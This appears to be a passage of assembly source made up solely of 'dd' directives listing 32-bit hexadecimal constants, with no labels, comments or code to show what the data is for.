dd 53E1C08Ch, 0E003163Fh, 0F7CA38E7h, 4AD29A8Ah, 66E0818Fh
dd 5DFD189Eh, 68765BC3h, 62009A33h, 99CBB994h, 0A1AD4C96h
dd 0F2A1BC7Fh, 9EA7BB6Bh, 7F75CC79h, 0E81A415Bh, 0C6380602h
dd 4C85295Fh, 7A7A1CECh, 89C9A368h, 0A3077548h, 0ABC64CD5h
dd 5890A13Dh, 3E86A141h, 0F0596D82h, 61ECD5F3h, 7C3EB35Dh
dd 733BB821h, 0B26167Dh, 33C99A5Ch, 8DA8FE82h, 54D38980h
dd 0EA701810h, 8E273346h, 23FBAE37h, 0B57461FEh, 882E2674h
dd 6F7B1008h, 4F540DB1h, 0E3D02F38h, 0D597C182h, 8C5A1323h
dd 0D83CCA46h, 0C94FEC01h, 1DA445E5h, 0C4C79F4Ch, 22C2109Dh
dd 40D8CF15h, 2B2E0174h, 23A6CE54h, 2004735Ah, 7ECE083Eh
dd 8BBDF99Ah, 669379EBh, 3B282D15h, 763FB63Ah, 3DB45A7Dh
dd 6C1DA1Eh, 0D14B9949h, 45FB3B32h, 0F1009225h, 1125E57Dh
dd 0C032DC9Bh, 0B37C3F6Ah, 44E5FA1Fh, 13A2DD47h, 0BDEE9D7Bh
dd 0B499571Ah, 78CA0B33h, 6C264AB4h, 0D87F9155h, 58444BD7h
dd 237373C4h, 0BBD64BF3h, 0B80FF0EEh, 0B0747D5Fh, 737B59FBh
dd 0D8EF26B2h, 0F7F66228h, 0FA4AB013h, 238A102Eh, 88BA3710h
dd 257667Ah, 827E400Bh, 9A10EF12h, 0DDB5DDDDh, 0AB7721ECh
dd 12C7183Ch, 30199B44h, 4F5E41DCh, 8790E700h, 761C8408h
dd 0AFCE0712h, 6CD96CF6h, 0EE372B4Bh, 0FE510E3Ch, 73FD93E6h
dd 0EA8019D4h, 824964ECh, 0C9EC1AC7h, 84360E45h, 34D54427h
dd 0A7941BE2h, 29FDD6A9h, 784CD78Dh, 29D002Ah, 612C0928h
dd 910D2ADFh, 3C7FD85Bh, 0C303B0DCh, 75B31A76h, 0E56294C2h
dd 722FB3Ch, 0E3F169BBh, 0BB1CF5F5h, 7F61FD50h, 0F4392DC1h
dd 6647E5B1h, 0D7AEF1DDh, 8855BDE9h, 114B2702h, 7B4CB554h
dd 94062F5Dh, 0D8B767FEh, 557FD04Dh, 0FF4EEF2Ah, 2F07CC92h
dd 46F6F73Dh, 7AE8C23h, 0EFD0FC5Dh, 62C2B38Ch, 0DD86E351h
dd 2F049402h, 0AA3834F4h, 75CEDEE9h, 0A5EDEB14h, 1E5EAAB5h
dd 7998B327h, 0CDB88EF4h, 7FFEE251h, 39FED62Eh, 58BCFC87h
dd 191E8492h, 4B4CB743h, 0E1D9F3CEh, 822AB9BBh, 86FB2D46h
dd 7586EC7Dh, 6450B495h, 52CBB7F9h, 0DF9CE427h, 0CD815019h
dd 3139E75Fh, 480A42F9h, 9F462087h, 219D6BF9h, 674F00E2h
dd 0E590A4B0h, 3C09B234h, 994364CAh, 20EC2DDAh, 0E091F413h
dd 5EB467A9h, 13204998h, 0CE888C02h, 0A0505601h, 0CE0C5BA1h
dd 0B8231E86h, 30B3F449h, 1FFC4B51h, 898F525h, 66057310h
dd 0BC046BAh, 0E9FD9030h, 9A16BD2Ch, 0E537388Dh, 3FFC3FD0h
dd 0C9D79709h, 2651DB38h, 0E7F1C82Ah, 0C052B7BBh, 315B502Fh
dd 64941E9Dh, 3BE8BC7h, 8B05F363h, 0E082EA8Ch, 812103D4h
dd 59F3488Bh, 9EA8FF64h, 66DB47A8h, 693FA9B1h, 9CEE934h
dd 2B5930DFh, 0A207B202h, 7629A05Dh, 0ECEFF74Dh, 0CF57FF7Dh
dd 4C7B0BDh, 3A00DF15h, 0D981229h, 0BAA8D88h, 91CF0A6Ch
dd 0F3782201h, 0EA95E25Bh, 3BBA1BCDh, 7E27A010h, 0DAE67EE9h
dd 0C4D5E9E3h, 0F7B9E685h, 7251DE7Ch, 0EC06DE88h, 0B881C0F9h
dd 378A87C1h, 0E349A468h, 69C50AF5h, 1E904368h, 3C3F11CBh
dd 0C43A9245h, 34C075ECh, 69834435h, 11806A43h, 0AB82618Ah
dd 1F9FA8AEh, 3931856Bh, 0A7B66A45h, 470D669Bh, 0CB00D0F4h
dd 0CB5BB681h, 783D0E9Bh, 58941634h, 0D1FE43E4h, 5E1178C0h
dd 1B8B0993h, 2E79DF92h, 13C45B8Ch, 2C151425h, 0C342B6C9h
dd 76A528B0h, 0F09A41A1h, 771AC853h, 0DED7F40Bh, 0C5F8D666h
dd 2859BDBDh, 67D2F55Bh, 57AC72C4h, 1986DB32h, 8F9AF78Fh
dd 4AD0AD1Dh, 81ED0A8Dh, 428D0DCBh, 296B3830h, 62C395C3h
dd 0C5676C52h, 0BD54D179h, 7001B1EAh, 0E274A996h, 0C88896D8h
dd 146621FEh, 14EC309Fh, 0F125DBDDh, 57A890E4h, 3D02B36Dh
dd 6842C3E3h, 5E131DBCh, 0F2583C79h, 11739D4Eh, 27C5DBA2h
dd 0C6E408CBh, 3FD75B07h, 7EC5E990h, 3C75EC80h, 66D1FBBBh
dd 5FA124Bh, 26BFF8B6h, 9CDA4023h, 0C5BA5824h, 0CAC333EEh
dd 0B7F655EDh, 3BB8E317h, 0BA95E2E2h, 6732D72Bh, 0BB0C7BE2h
dd 0E5E92125h, 0F6F445BFh, 709E666Ch, 0F384B737h, 11EAEA5h
dd 43E8B0C9h, 4208BBEBh, 0D3ACC69Fh, 2F153690h, 0FBD13ED0h
dd 0D3522010h, 0FEFF2F56h, 0C5B22EA5h, 429F287Ch, 534DA38Eh
dd 57EA5EA1h, 58CEF675h, 0F720AB89h, 180E071Bh, 0D78C90DDh
dd 29A57EAFh, 0CBAFF034h, 0A04C75C6h, 71537332h, 2C468920h
dd 802B56BBh, 0CB2D7802h, 0A9183648h, 0AF4AB2A3h, 0E91EFE8Eh
dd 2EA3DCDEh, 12F9E9DBh, 0F8DAD6E2h, 0C4605746h, 82553774h
dd 0B4E94F20h, 0FE740C23h, 338EF2D3h, 989C3B63h, 77E460DBh
dd 7C8747DFh, 4E168F75h, 0DE7960C8h, 43ABF11h, 0BAC829h
dd 5CABC327h, 56CC5887h, 0BFF45FDDh, 0BFE3CCF6h, 0D315A0A1h
dd 1DE4CFA4h, 34849CB4h, 0DFE60526h, 18F27825h, 9289BFCh
dd 48CC48Bh, 276BB081h, 0F3AB2430h, 0A6357CC4h, 99741E2Fh
dd 7424D5D8h, 3086A60Bh, 5C444DE4h, 0A783612Dh, 41C6D909h
dd 525B4102h, 3C98EF91h, 58000C2Eh, 0C28B16D8h, 48A099BBh
dd 0E888E05Dh, 97759CF3h, 0CCF19D0Fh, 3EB411ADh, 7F9AFB43h
dd 2B44116h, 253229B9h, 0BF615F82h, 0CE026203h, 75B2ED84h
dd 573DEA39h, 0D4F64F9Ah, 19817732h, 9C036B01h, 0F5007233h
dd 8D4E5754h, 0D637ACB0h, 4DAC3FE0h, 68AF7CE5h, 196BDC34h
dd 0C3FEBB9Eh, 1DAAE345h, 0DB58106Bh, 6E7AD7E8h, 3898F160h
dd 4E09D815h, 5F8D7ED8h, 464DFB58h, 0FB32F0AEh, 0F42AF76Fh
dd 0FE78DDC6h, 0E66F71FDh, 0BD484D3Ch, 0FBE6EC98h, 7DA31E96h
dd 6C0153FCh, 9ACC1439h, 662A7BB3h, 9D02135Dh, 0EF6EB218h
dd 0DBDA3312h, 78B37B55h, 0AC1ED1A9h, 70EA901Eh, 0CD1B72A1h
dd 0B18CDB26h, 943DC449h, 0D34862CEh, 0CCDD53CFh, 0BC62F340h
dd 7F621A45h, 1B8CB8E1h, 0CC5A6D6Dh, 730E0AB3h, 22D0B6F2h
dd 0FBE86414h, 6D1BB1D6h, 1242A3CFh, 0A9C8B398h, 0F23C5C38h
dd 29E4F817h, 74474B64h, 0EA64ED74h, 0A0521846h, 766493D8h
dd 0D12A4A8Eh, 8D2CC9EEh, 1C7DA6DCh, 0E55491BCh, 48CE68E9h
dd 967BA4E1h, 0B72E7CB5h, 0A5D8D35Bh, 0A22DC922h, 0DE79CFC6h
dd 4BA28A5Dh, 9D1F68C8h, 55E543EFh, 0EE85CE0h, 0CABF1C11h
dd 0A8B9FB7Eh, 0B25FDAD8h, 832AE74h, 2880AD9Fh, 0C619952Ch
dd 78B79387h, 28E92431h, 8B383650h, 8DE303C5h, 0A8939B7Bh
dd 0CF7C6012h, 980F306Fh, 638CA4CAh, 0FED19A76h, 91139B36h
dd 6ADDE083h, 808C2248h, 4CB3BD53h, 7B5966E0h, 0CBCDF96h
dd 74466AF3h, 3A2D985Ah, 0A363F423h, 81C047EEh, 0EBB93F3Dh
dd 7236DE63h, 0E0B43DEFh
dd 2C55D5C3h, 2FFC4A7Fh, 1BEE8CA2h, 0CAC3FD87h, 0D473DF5Fh
dd 8CAEDEF2h, 0D10C5CDCh, 0B14971B4h, 53D523C1h, 9B871DA6h
dd 9444B10Bh, 1D71A6B6h, 617DC523h, 759E19CEh, 475B8AF1h
dd 0D202D9F7h, 20F4677Bh, 18B0672Dh, 7557355Bh, 0BC4B4AB8h
dd 824070DCh, 0CDE7819Eh, 0D188F7FEh, 39C5F9D3h, 8AC2CF9Ah
dd 0C6566BE7h, 362BB0C0h, 29C5EF83h, 2C4314FFh, 581F837h
dd 68FCC1D6h, 12A555DFh, 0B6FBC165h, 0C10CDF33h, 4559CFD1h
dd 83B65B92h, 0FDA703CEh, 59C06381h, 4FDF0F54h, 7FCF3A34h
dd 324C327Ah, 3C995C93h, 9D1194B0h, 218FBFEh, 299C35AFh
dd 14DF628Ch, 22310AA8h, 0AE0984E1h, 8B0323F7h, 97536D4Fh
dd 38F9F99Dh, 0D809AC06h, 80EADC8Fh, 0F945580Dh, 2336A3CBh
dd 0D328675Fh, 708F44E1h, 0C57DE53Bh, 0D706B7D7h, 3D6D443Ch
dd 0CA673BDh, 292C9FACh, 0B7DAE3C6h, 0DC7574ABh, 834E8B80h
dd 3883B51Ch, 0F4847A34h, 2FC757A7h, 0B14B4F22h, 8E554C43h
dd 0B8B81D03h, 0F1EBD3ACh, 0DC2C72B6h, 0A6786A5h, 0F6CDF803h
dd 77C40F46h, 0FFB0478Bh, 17D6FBA1h, 6C0F4FEh, 9666A304h
dd 3A4855EFh, 0A448889Bh, 0F345F061h, 0E222BF50h, 2BE1DCB2h
dd 0B09BA793h, 0CA1E281Fh, 0A8428ABh, 0CFE98DFDh, 41391157h
dd 0A63D0E06h, 3CD23EC6h, 0E282DF21h, 4188883Dh, 6DFAC050h
dd 416F8C43h, 0AC3339F5h, 0DFDCA8E8h, 9E81A4CEh, 409E5FEEh
dd 0AADE1071h, 0B15EC606h, 5D954F22h, 48F33A3h, 3D779727h
dd 71551781h, 4119C9AFh, 0CB1B1E4Eh, 95785B9h, 8494EF4Ch
dd 0C419AC5Ch, 1509E9FEh, 0FD1EC621h, 0FEF481B2h, 0E901DAh
dd 851BA3A2h, 9E8E7DF1h, 0DCAD8F14h, 0B86FB154h, 8BD3CA7Eh
dd 9482211Ah, 0C925879Eh, 0C31C737h, 1FFBAA2Ch, 7895F5CCh
dd 3E6C553Dh, 9BB39F1Eh, 0CF51FE79h, 0A6EAB4ADh, 308BF564h
dd 0A32308A2h, 0B23AFC7Bh, 17FBD014h, 3FCD7CC7h, 36C94634h
dd 935537Eh, 863002F6h, 0D84582AFh, 29437D71h, 48C4B1ECh
dd 95A2EE78h, 0ED1B23C6h, 53653F9Ah, 0F703F0F3h, 260201Bh
dd 74CCC630h, 2B20E3F7h, 9F02F33Fh, 1A8F9D57h, 0B46E2182h
dd 48BA71F3h, 70722744h, 7F404D44h, 0EF4C2142h, 672E7BA4h
dd 0DED5E72Eh, 0A51F5384h, 0CA6F1CF9h, 0E446DB85h, 761765B0h
dd 0C15B6146h, 333C78F0h, 28A5761Fh, 14799E5Eh, 0D495D7Bh
dd 0FA42E9E0h, 1858A7C4h, 6521C530h, 0ACD57320h, 6ABE8DDh
dd 0D3AD170Ch, 93D7C915h, 767CF614h, 10DEB6A0h, 9652F58Dh
dd 0E730760Ah, 32A2192Eh, 84789A75h, 4450C70Eh, 0AC2CEF2Dh
dd 1361A9C9h, 652307E3h, 0F0155142h, 0FD7B82B5h, 0DE58AE4Dh
dd 0EA9AAC29h, 283D2DCAh, 0CE670B93h, 902C8DECh, 2259FFFEh
dd 1765A548h, 2B08A1h, 9F81635Bh, 85E071D1h, 0C17BCFE5h
dd 1F0A794Dh, 10B9F60Ah, 15363119h, 31D0C09h, 88A83218h
dd 9D9A7FFCh, 911FF8B7h, 4EDB5798h, 679F43BDh, 0B3FCA323h
dd 648CEC76h, 91A92BA0h, 0BFE9D5D8h, 8F2DF932h, 0DFF0082Dh
dd 3F378A9Fh, 0CA57B065h, 1B53D777h, 4CCBF30Bh, 0A0C714CEh
dd 0A0597E94h, 0EE1126F5h, 0A31FF7B1h, 8B14CE60h, 0F4B10CF6h
dd 0C5B5EECFh, 0D2E8BF4Fh, 0EE8E81C1h, 0C135A933h, 3CCF9F52h
dd 55F6CC62h, 810CFC23h, 580C7B57h, 50312B2Dh, 81504F4Bh
dd 7277D1C9h, 0DAABD0DDh, 0D385EDA3h, 212590B9h, 40158998h
dd 6D36E8F2h, 0F106540h, 0A7703F7Fh, 3ED09596h, 0D0303585h
dd 7A6DB30Ch, 0EAA44AE6h, 122A297Eh, 0ED75DABh, 52B9C8BFh
dd 0ECED810h, 0F3D00845h, 6CAEBE9h, 152C4EA1h, 2BF5B71Dh
dd 14842F6h, 0C5E9DAE0h, 5C822BDh, 0FB1DC6EBh, 39FE2E33h
dd 8F1D0D06h, 9E0DAA2Ah, 2789619Fh, 5CBC5585h, 0EF5EA36h
dd 86E221F6h, 6976AB81h, 7815F5A3h, 301D8FDAh, 196D56C4h
dd 51F385D3h, 0B83B96C8h, 4461195Ch, 9950C3E9h, 60ED723Dh
dd 5190239Ah, 0C2AE9AC1h, 4B603892h, 0D04D1B9h, 6EDD5416h
dd 0E98E866Ch, 6B0D85h, 5B56D7B5h, 9C2BD4B1h, 0E0100A5Eh
dd 15C4810Bh, 0EA19D710h, 36FB3F06h, 0FDB27A4Eh, 0D16D9708h
dd 691051B3h, 98CE2E3Ah, 1FDCCBAEh, 14B9AD0Eh, 6BF93556h
dd 9FD62EE6h, 0C3DFD6FAh, 5A7B21D7h, 9CFAF022h, 5F9500B4h
dd 0B90C2263h, 22BC75Ch, 764F798Bh, 50D43C5h, 9FF818C4h
dd 0BACB9392h, 14C23E05h, 29BDEB17h, 0DF671E54h, 2729F23Bh
dd 1E96213Bh, 9E3661FCh, 0B46B5681h, 178AD075h, 0D5EF680Bh
dd 0E646DEF9h, 9ED54308h, 6B595106h, 25EDCA26h, 0E6D865F0h
dd 5FE5D252h, 57947579h, 1E2B9DF1h, 0BE34CC9Fh, 0D9AD137Ch
dd 0B24A8945h, 588EF551h, 7D0B5F20h, 0A83A7545h, 7009E486h
dd 9331D02Eh, 56AFD0B7h, 28678B72h, 0A42864C6h, 0CE19D99Eh
dd 85A9954Fh, 46FFC698h, 0A49CD51Fh, 0A22FF1FEh, 0B0CA7F86h
dd 50CF048Bh, 0F4CDA7A5h, 53F64FC1h, 86B65987h, 6618C338h
dd 5BDF816h, 8D2425FCh, 0EEC6B06Dh, 5ACBCC9Ch, 0F0503A50h
dd 0E20D9100h, 0EB2801FFh, 0EC919A57h, 8E4866AEh, 806C6276h
dd 0DB4B5A50h, 0C0E994BCh, 6507033Bh, 5593B0F2h, 82A876Bh
dd 4C66CA7Bh, 0DC1C364Bh, 937DF632h, 48AAA527h, 6A539836h
dd 0BC9E1896h, 3EA3ACBh, 6AC017F8h, 82CCAB70h, 0B4A9731Ah
dd 0D33CCD03h, 5E908F58h, 968CA4DFh, 19209ACDh, 81A80F28h
dd 0FA028B1Ah, 0FA28202Ah, 5A6FA01Ah, 4D5A1398h, 82CE890Eh
dd 4C861A9Ah, 0A06E5730h, 0F04E52BAh, 0E204427Bh, 0FD1FB450h
dd 6F77FA89h, 532C1636h, 0DFFC30DDh, 0BCF9E74Dh, 4E80AB75h
dd 7370ED80h, 0FC030BE1h, 3E7F988Ah, 67C7B10Ch, 6F6AA6F5h
dd 0DCEE5D3Dh, 0D90EF1F5h, 7751604Eh, 2F1F0401h, 0EE2318B3h
dd 7CAEBA0Eh, 7710819h, 0B2AEEB54h, 4967AAAFh, 39117569h
dd 0FF50A4D9h, 35ED35D3h, 48F36D9Eh, 403B73C4h, 38EDB1FCh
dd 967CF514h, 0FCB53621h, 446A1843h, 297E8CE6h, 63F443E3h
dd 59E5030Ch, 9FAC659Dh, 0BA9CA7E0h, 5FF079B2h, 30B45B53h
dd 3E677E7h, 0D0DD2E3Fh, 2371961Bh, 240A8232h, 6ED02756h
dd 0BEF98E94h, 0F8B380A6h, 0C64E3F44h, 63268136h, 435EEDCFh
dd 0ADE0EDE5h, 0A3DB2EBBh, 0C8951AA4h, 78240880h, 408F4A26h
dd 3CDAAB5Ch, 0AC62DB9h, 0A0B33A60h, 2DCE7E74h, 643EDF9Ch
dd 2CCE429Ah, 0CD479014h, 6EA4C6B2h, 7B574DDFh, 5EE6AACAh
dd 2B48D21Fh, 0BD988DBCh, 0E25936A1h, 0E958B611h, 5EF79EAh
dd 162E663Fh, 62B1532Fh, 0F87AFD7Ah, 4D89C8FFh, 8135708Dh
dd 0DB2E277Eh, 0EE19F137h, 4AD06A24h, 3CE38067h, 46046BDh
dd 0A5A84A52h, 916959B7h, 29C5C3B5h, 0B9F7DA0Ch, 8A161C9h
dd 4AA4F188h, 2CD81456h, 0B706A968h, 0EE06AB04h, 569F6983h
dd 4AE0F6E8h, 40F2872Dh, 0C33D953Fh, 8D3D00F4h, 8D1C48EBh
dd 9D45EDC1h, 0E6301421h, 12DDDC06h, 246D8EE5h, 0EC5F386Ch
dd 0B1454F24h, 0A7F01D4Ch, 796A99CCh, 60E5EF37h, 4CE70324h
dd 3D1CF621h, 0A64498CFh, 127A3F6Ch, 3224D2BDh, 0B14992EFh
dd 112EFE6Eh, 2C8E0A40h, 0A07DF58Ah, 1D840A3Eh, 2DA06BCFh
dd 0E4930C9Ch, 5DDCE2FEh, 1DF2C2EBh, 0FC41B878h, 85B745AFh
dd 0A10F9C84h, 0F94C4446h, 42CAF008h, 2C414128h, 8C81202Dh
dd 0D1FD08Fh, 802FC4B8h, 0DAF6158Fh, 7CEBB069h, 68B58D05h
dd 0BA2C260Fh, 0CF8072DEh, 0B3AEB583h, 0E87BAF94h, 52C8F046h
dd 871E9BAEh, 0B70E8816h
dd 8BBCFAA9h, 7A4DFDD2h, 0BDF757FCh, 0B9881859h, 92B2E3DFh
dd 0E5A3A3FBh, 0A7883842h, 0B478783Eh, 553A6F4Eh, 17CD21A6h
dd 0B0401CCh, 5C923EA9h, 73F1AAB5h, 0B74F8386h, 1661EBDBh
dd 0AABBE0C6h, 9B71881h, 57071041h, 0E7D82BBFh, 0D93090B5h
dd 44E54C20h, 0EAF390F1h, 0B1C42EC5h, 0D9FE391Dh, 0FA824C31h
dd 0BF1209F2h, 59C74BC6h, 0A6782DD3h, 0F59672B4h, 27D44EB0h
dd 5CC914FEh, 0A9EB3EE4h, 0D87D088Ah, 809012E3h, 9A5F0C54h
dd 0A771FEBh, 2BACCB14h, 3AFBEAE9h, 9DC81E3Ah, 3A66D537h
dd 0AB1E5B7Ch, 0F477E7DAh, 64A185C5h, 0CA79A0D9h, 736454BAh
dd 9F70EA25h, 601EE363h, 0D38F3760h, 139F3FEAh, 0F3CB5B9Dh
dd 55E156C0h, 0D56EB52Ch, 7CDD37A6h, 46526D0h, 0F93A3445h
dd 0C96E2E34h, 73C9A199h, 832A95Fh, 429384F7h, 8AC889F5h
dd 6B259BDFh, 3A222817h, 7DEA37A6h, 3C2D0E7Eh, 0C73E733Fh
dd 73E7ED6Bh, 7E74CE41h, 3AC61720h, 0F5879A61h, 80193A11h
dd 0DE56B8B2h, 7E9FFD6Ah, 0A875C481h, 0F9A90F60h, 89D1CAF8h
dd 0F54199BDh, 1C89AFC3h, 6E01B420h, 113E9F38h, 66D57EA3h
dd 257FB15h, 1185100Ah, 807725E1h, 0B0E70786h, 0C55CBD9Fh
dd 0C320EC88h, 215B5444h, 0F98C149Bh, 6E455D63h, 8C9215DEh
dd 51C59AC9h, 14BA8972h, 9C0D96EDh, 0E8A1BAA1h, 2E5F4CCh
dd 8866A30Ch, 63064094h, 4EBA926Eh, 63668A6Eh, 84D1DF81h
dd 0FA5621C3h, 60E0842Ah, 47B9F63Ah, 4F153DA5h, 51F7AF98h
dd 0D92EC0F0h, 4C9C2B31h, 9DD2CFB2h, 0A7388A4Ah, 51C204CFh
dd 1632443Fh, 35F6BC2Bh, 37970A2h, 823A7B35h, 0CBE06A66h
dd 45E8DB4Dh, 7DD63C7Bh, 28337D35h, 0C1DB3A93h, 52AD3DF5h
dd 6148158Ch, 5C93FD3Eh, 0BED86F47h, 492772C5h, 0CCD98164h
dd 264C35F2h, 0F7BBC0F4h, 7CCBAD0Ah, 1304ADBFh, 2D91E5Ch
dd 0BDD788B6h, 2CBF299Ch, 10B4834h, 0C94596CDh, 40C48DC0h
dd 91466C38h, 0DD812145h, 7D366606h, 0C5E37F3h, 77975B88h
dd 9CED6B89h, 516612F6h, 0A063A43Bh, 0A02FA4E2h, 0AD22B74Ch
dd 326F1285h, 7F742008h, 115164CCh, 6712DEFFh, 0EAD5210Ch
dd 0D0BDD5ECh, 0CCD27301h, 23719D68h, 0A54745FEh, 0FAAA56BBh
dd 0D766D4DFh, 0E5342EA7h, 18AD3718h, 3C61D032h, 7E27C802h
dd 392D1A2h, 607B47CEh, 910CDBA3h, 692BE583h, 9FCC5D88h
dd 0FBC92607h, 0B2C8122h, 0D94D541Ch, 8D7847EEh, 0BF402CF3h
dd 52126CF1h, 0A71CE37Bh, 8F1A2E8h, 0B7A0CBC7h, 0D9294371h
dd 0D53D87E4h, 0CD9B5D8Bh, 22F8204Ah, 80C6E60Ah, 2706759Bh
dd 0F564F7B3h, 408E1A56h, 5B1D32DEh, 0EF78C5CDh, 0F54D1208h
dd 0DF3E4796h, 87E484Fh, 8BAD30A6h, 2169BCF4h, 873986D4h
dd 8C34517Eh, 50D06B99h, 0FAF18C77h, 9FBAA67Ch, 8B2CACE5h
dd 0E2C71372h, 76A9C06Bh, 0A548FEAFh, 0D6331AEh, 1869F5Fh
dd 7C89D125h, 161EB75Dh, 0CC26FBF8h, 18AA1353h, 0D348070Ch
dd 0F02BB5BDh, 444A0A5h, 0E79917B0h, 229E462h, 1FB366D7h
dd 52B74422h, 0FE7E1026h, 0D0111766h, 4ADCCCEAh, 0D2832AD5h
dd 1149E252h, 2895E57Ch, 0F191C1CFh, 11627C4Eh, 5DA20CA0h
dd 56E0D1BDh, 0E958A63Dh, 0C452076Fh, 98E6896Ah, 32247EECh
dd 0D6A20040h, 0F308589Ah, 0A907415h, 8D9E0574h, 0DD63D8CAh
dd 0F0423B87h, 0E9529536h, 67D3C7AAh, 4088F8E8h, 0C16FDD6Ah
dd 81DCC7C4h, 89E0DCE1h, 7B87C3A3h, 6CD92EDDh, 3A4E98E9h
dd 0E022CD97h, 0CF7B1D6Ch, 9D510729h, 0F30A82C9h, 41C4A139h
dd 137705EFh, 0AD7BA263h, 2541FA1Ch, 0F8AE4602h, 8212B7F2h
dd 7E264BB9h, 6F383654h, 3945867Bh, 0C0F53A8Ah, 63B09265h
dd 0C325B3C1h, 3CBFA3FBh, 6F78673Ah, 0B9EA2946h, 534A8E5h
dd 0C1FE513Fh, 4A474C13h, 0D03EA272h, 0BA5F4934h, 230EFBA9h
dd 0AB9B20B2h, 2DBB5BF4h, 6CB44742h, 0A7C2A2A2h, 435C7C97h
dd 2764F12Dh, 140145E4h, 2BCD29B2h, 5033C0A4h, 0D3A0E415h
dd 59EB5523h, 0C2DACBE7h, 0F7C30F77h, 0DFE96559h, 21F5F516h
dd 539C2745h, 0FB3CF61Bh, 0D9135429h, 0ADD505CCh, 0BC9A538Bh
dd 562C654Eh, 0D6D1B7F3h, 2A0BC949h, 0B7943E08h, 6D803C93h
dd 8739D491h, 0BD38AB45h, 0F1D31D37h, 80ACB8F7h, 0EE5F544Bh
dd 108DBDAEh, 0C4991A83h, 0D7A1B467h, 91137C7Ah, 0C883A26Eh
dd 0EE442B5Dh, 412CB70h, 0DF96BDC7h, 34AA5667h, 85403C93h
dd 8C29F56Eh, 90A10FB4h, 0EA26BDBCh, 0E07A71E6h, 0DD67EB0Dh
dd 96DB3864h, 0A64667BDh, 0C33AC3A2h, 0EBCDF60Ah, 8706B402h
dd 5D2DC79h, 56277571h, 96847F17h, 0EFC334F2h, 2CBE1A8Eh
dd 0A7A27A13h, 0BE9073CBh, 0E20C3835h, 4A053457h, 0BA0EE12Ah
dd 27514DE7h, 7B9F0B71h, 7536CC26h, 0B9176C9Dh, 0EE79ACECh
dd 6E9C0391h, 4CC0CCF0h, 2BB8D32Fh, 0F2845004h, 592C3365h
dd 55775052h, 710908A8h, 4509C012h, 0B2B324ABh, 0C461D61Ch
dd 5DF021A5h, 0F448156h, 0CEDBCC81h, 5D83A697h, 0A0BD7D14h
dd 0BB76D41h, 0A764F198h, 0E313FB5Ch, 0BEDFF6B3h, 0AEEA4128h
dd 0F8804168h, 0C6494AC7h, 30C747FDh, 0DE0C9AFFh, 0C164BE90h
dd 0DAB8E4F2h, 4D3807ACh, 0E69112C3h, 9E9D78C4h, 0E0E4D12Eh
dd 17A1B276h, 659C4311h, 7607F5D3h, 81CB5C3Fh, 0A2E7BECFh
dd 28062D5Bh, 0F54E7519h, 0EAFBAEFFh, 4EBA6888h, 3A6A9DEh
dd 0E93B2FBAh, 931C22E5h, 0CA63DC37h, 0A017BB29h, 0FD82829Bh
dd 7D3B7FB8h, 0F9A84537h, 5266C1BDh, 14090CD0h, 58B2AA9Ah
dd 0E44E2843h, 7B7CA9D1h, 0E4012DB0h, 5FB747C4h, 3B75B69Ch
dd 413A5C8Eh, 7A2FBA15h, 0ED82F0BEh, 381E5B49h, 54B9C995h
dd 3472D52Eh, 38E72C55h, 0F4814CF9h, 31B3AEA3h, 0A13E7457h
dd 6AC89B3Ah, 598C0A35h, 35050FBAh, 3BBFAD79h, 136184ADh
dd 6719C645h, 7FA9EB7Dh, 8058E9E8h, 0DA5467B8h, 630492D6h
dd 4B9BA096h, 0F96C9F46h, 5D70EA25h, 0B33E0925h, 3624F506h
dd 0AE7DB391h, 0F8AAFC35h, 85D0794Ah, 0C7AD6A97h, 24EC4EB0h
dd 89FDFF2Ch, 6449DA89h, 0C09C451Fh, 0F3D5248Ch, 0A5CF1912h
dd 34E4FABBh, 0D38F5D66h, 375B0160h, 0D0A07A4Bh, 1F6B9D3Eh
dd 54ED8EA3h, 5BC802BCh, 5493809Fh, 39873602h, 0F68F7E47h
dd 987E91Ah, 0F6F00B72h, 0BDB3FB85h, 6B1C488Bh, 5767EFB0h
dd 6A6D2B62h, 0BF7193Fh, 8375ACDEh, 924C501Fh, 7B972380h
dd 0BA611F81h, 0F343C5C4h, 0F2648A44h, 3C323BE2h, 31012BD3h
dd 1D31CD18h, 9BDDE485h, 0D37C1309h, 0CEDB271Bh, 0E9A6A151h
dd 3229479h, 0E54832CDh, 690EBCDBh, 86F73816h, 0A2099B13h
dd 76AA5D1Bh, 4678B60Eh, 0B54DB9CAh, 0CADB2E76h, 2E9910F9h
dd 0ED6836FCh, 2656C4B2h, 0E31671A7h, 0C5C36E33h, 4FE50676h
dd 0EB19385Bh, 0E1897052h, 0BEC76C5Bh, 8A697786h, 1A635D29h
dd 8DACD2B0h, 0D52C243Bh, 7CF4BED3h, 40E24125h, 68CA85A5h
dd 0F13AEA8Ch, 72AE99F2h, 787ECB1Bh, 1FD34ABEh, 12AD603h
dd 690BEBCh, 746CF634h, 5FBB1FE1h, 7D8F98ADh, 4E8B8FB1h
dd 324A8EA4h, 0D567D287h, 771FED20h, 0DACE581h, 0BB195D9Fh
dd 1ECD66E7h, 0EC5BF14Eh, 0E6D999EFh, 39EFBD43h, 71E3B20Ah
dd 22ED318Ch, 63D4C27h, 242919D8h, 938035F0h, 31C8020Fh
dd 4CC4F9A9h, 0B168C3F8h, 0CE4F5915h, 0EC964D22h, 31B315EFh
dd 19287030h, 913922B5h, 74FE18FAh, 92E6F139h, 0F552E2D7h
dd 2A4ACC3Fh, 0C0E42E02h
dd 0D86E8854h, 0E6D92B07h, 0B7393721h, 5061A911h, 7A12CF89h
dd 0EDE637BEh, 2370FA0Bh, 0B87DD1E0h, 9BF35DB0h, 0BAFE9BEh
dd 0F5ABEE19h, 9033EE00h, 729C35E8h, 0A71E9470h, 0A9898FB1h
dd 957D2A68h, 5A1FED6Bh, 867E2008h, 1DD78EECh, 0E8D08CFDh
dd 0B5D3DE75h, 3C36E0E7h, 2920A3D6h, 5F124834h, 14CD0544h
dd 266355C9h, 734620E6h, 36D8015Eh, 354FA034h, 0B1B538EFh
dd 0A0246135h, 0DCFC869Eh, 5AEA797Fh, 7396B057h, 378B89E8h
dd 19FC7471h, 909B0FCFh, 0C157FA6h, 4CD0F864h, 627864E1h
dd 2FD58BF7h, 4B1EFE5Ch, 0D7DD288Ah, 8CBE560Bh, 6653C632h
dd 767C0595h, 47517319h, 1B826661h, 9C393F00h, 35FE2A37h
dd 3C914A3Ah, 8F2576AEh, 63592E18h, 9EEDABA6h, 0EBDDA480h
dd 0D6793E7Eh, 43B68F13h, 0C04A731Dh, 67F5BC99h, 0B7362CD1h
dd 5C76E2DFh, 0B5473367h, 70C17DBDh, 505D655Fh, 0D75FD7B5h
